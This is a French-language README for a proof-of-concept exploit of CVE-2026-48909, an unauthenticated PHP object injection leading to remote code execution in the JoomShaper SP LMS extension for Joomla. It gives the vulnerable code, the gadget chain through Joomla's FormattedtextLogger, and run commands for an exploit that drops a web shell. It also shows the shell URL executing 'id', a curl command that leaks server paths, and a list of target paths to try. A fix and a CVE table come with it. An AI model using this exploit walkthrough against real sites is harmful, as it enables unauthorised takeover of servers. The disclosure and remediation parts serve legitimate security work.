
Exploit de preuve de concept pour CVE-2026-48909 : exécution de code à distance sans authentification via injection d'objets PHP dans JoomShaper SP LMS. Inclut des conseils de détection, d'exploitation et de correction.
Exécution de Code à Distance non authentifiée via Injection d'Objet PHP dans JoomShaper SP LMS (com_splms) ≤ 4.1.3 pour Joomla CMS.
Auteur : Amin İsayev / Proxima Cyber Security
SP LMS est une extension populaire de système de gestion de l'apprentissage pour Joomla, développée par JoomShaper, avec plus de 100 000 installations. Les versions ≤ 4.1.3 transmettent le cookie lmsOrders directement à unserialize() sans validation, permettant à un attaquant non authentifié d'injecter un objet PHP malveillant et d'exécuter du code à distance via la chaîne de gadgets native de Joomla.
components/com_splms/models/cart.php ligne 28 :
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← entrée utilisateur non fiable
Le cookie lmsOrders est décodé en base64 et passé directement à unserialize(). Un attaquant contrôle entièrement l'objet désérialisé.
La classe FormattedtextLogger de Joomla fournit le gadget :
lmsOrders cookie (contrôlé par l'attaquant)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [gadget Joomla]
└─► initFile() → File::write($path, $format)
└─► code PHP écrit sur le disque → RCE
Remarque : L'exécution de code à distance nécessite Joomla < 5.2.2.
Joomla 5.2.2 a corrigéFormattedtextLogger.__wakeup()(voir PR #44428).
L'injection d'objet PHP existe toujours dans com_splms ≤ 4.1.3 sur toutes les versions de Joomla.
Le Input\Cookie::get() de Joomla applique par défaut un filtre cmd, supprimant +, / et = de la valeur du cookie — des caractères présents dans le base64 standard. L'exploit utilise :
$, _, {, }, \n)=)/ et + de la sortie base64python3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell actif sur
https://target.com/tmp/x.php?c=id
Trouver le chemin du serveur (si inconnu) :
# Hébergement cPanel — le chemin fuit depuis les pages d'erreur Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Chemins courants à essayer :
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders avant la désérialisation :// N'utilisez PAS unserialize() sur des données contrôlées par l'utilisateur
// Utilisez json_encode/json_decode à la place
$cartItems = json_decode(base64_decode($raw), true) ?? [];
Cet outil est publié à des fins éducatives et uniquement pour des tests de sécurité autorisés.
L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce programme.
Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.
Amin İsayev / Proxima Cyber Security — 2026
| Champ | Détails |
|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| Affecté | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| Corrigé dans | SP LMS ≥ 4.1.4 |
| Version Joomla requise | < 5.2.2 (chaîne de gadgets corrigée dans 5.2.2) |
| CVSS 4.0 | 9.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Authentification requise | Aucune |
| Divulgué | 2026-05-26 |
| Publié | 2026-06-20 |